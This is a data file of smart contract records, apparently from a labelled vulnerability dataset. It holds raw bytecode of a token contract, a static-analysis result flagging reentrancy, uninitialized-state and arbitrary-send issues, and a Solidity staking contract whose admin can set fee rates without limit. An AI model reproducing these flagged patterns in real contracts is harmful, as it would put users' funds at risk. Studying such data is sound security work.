60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb5760106009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b600c6008819055506008600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220baf0299973075fef7c4f156406a1da353cbeb656709d4c18e7993b19916e035b64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,639 |
0x3573e75f964a15cc41096f0b48e7691934a353f9 | /**
*Submitted for verification at Etherscan.io on 2020-11-18
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Poo4 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfilend token contract address
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 15000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 250;
// unstaking possible Time
uint public PossibleUnstakeTime = 72 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function place(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function lift(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimYields() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
} | 0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636a395ccb11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b8063a89c8c5e116100de578063a89c8c5e14610397578063b52b50e4146103c5578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636a395ccb146103515780637b0a47ee146103875780639d76ea581461038f576101cf565b8063455ab53c11610171578063583d42fd1161014b578063583d42fd146102f55780635ef057be1461031b5780636270cd18146103235780636654ffdf14610349576101cf565b8063455ab53c146102b35780634908e386146102bb57806352cd0d40146102d8576101cf565b80632f278fe8116101ad5780632f278fe814610261578063308feec31461026b57806337c5785a146102735780633844317714610296576101cf565b8063069ca4d0146101d45780631e94723f146102055780632ec14e851461023d575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b61022b6004803603602081101561021b57600080fd5b50356001600160a01b03166104d9565b60408051918252519081900360200190f35b610245610592565b604080516001600160a01b039092168252519081900360200190f35b6102696105a1565b005b61022b6105ac565b6101f16004803603604081101561028957600080fd5b50803590602001356105be565b6101f1600480360360208110156102ac57600080fd5b50356105e2565b6101f1610603565b6101f1600480360360208110156102d157600080fd5b503561060c565b610269600480360360208110156102ee57600080fd5b503561062d565b61022b6004803603602081101561030b57600080fd5b50356001600160a01b0316610932565b61022b610944565b61022b6004803603602081101561033957600080fd5b50356001600160a01b031661094a565b61022b61095c565b6102696004803603606081101561036757600080fd5b506001600160a01b03813581169160208101359091169060400135610962565b61022b610a3c565b610245610a42565b6101f1600480360360408110156103ad57600080fd5b506001600160a01b0381358116916020013516610a51565b610269600480360360208110156103db57600080fd5b5035610af7565b61022b610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61022b6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61022b610e25565b61022b610e2b565b61022b610e31565b6102696004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61022b600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610245610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b60006104e6600b83610f97565b6104f25750600061058d565b6001600160a01b0382166000908152600d60205260409020546105175750600061058d565b6001600160a01b0382166000908152600f602052604081205461053b904290610fb5565b6001600160a01b0384166000908152600d60205260408120546004546003549394509092610587916127109161058191908290889061057b908990610fc7565b90610fc7565b90610fe7565b93505050505b919050565b6002546001600160a01b031681565b6105aa33610ffc565b565b60006105b8600b611190565b90505b90565b600080546001600160a01b031633146105d657600080fd5b60059290925560065590565b600080546001600160a01b031633146105fa57600080fd5b60099190915590565b600a5460ff1681565b600080546001600160a01b0316331461062457600080fd5b60039190915590565b336000908152600d6020526040902054811115610691576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e60205260409020546106af904290610fb5565b116106eb5760405162461bcd60e51b815260040180806020018281038252603b815260200180611301603b913960400191505060405180910390fd5b6106f433610ffc565b600061071161271061058160065485610fc790919063ffffffff16565b9050600061071f8383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018890529051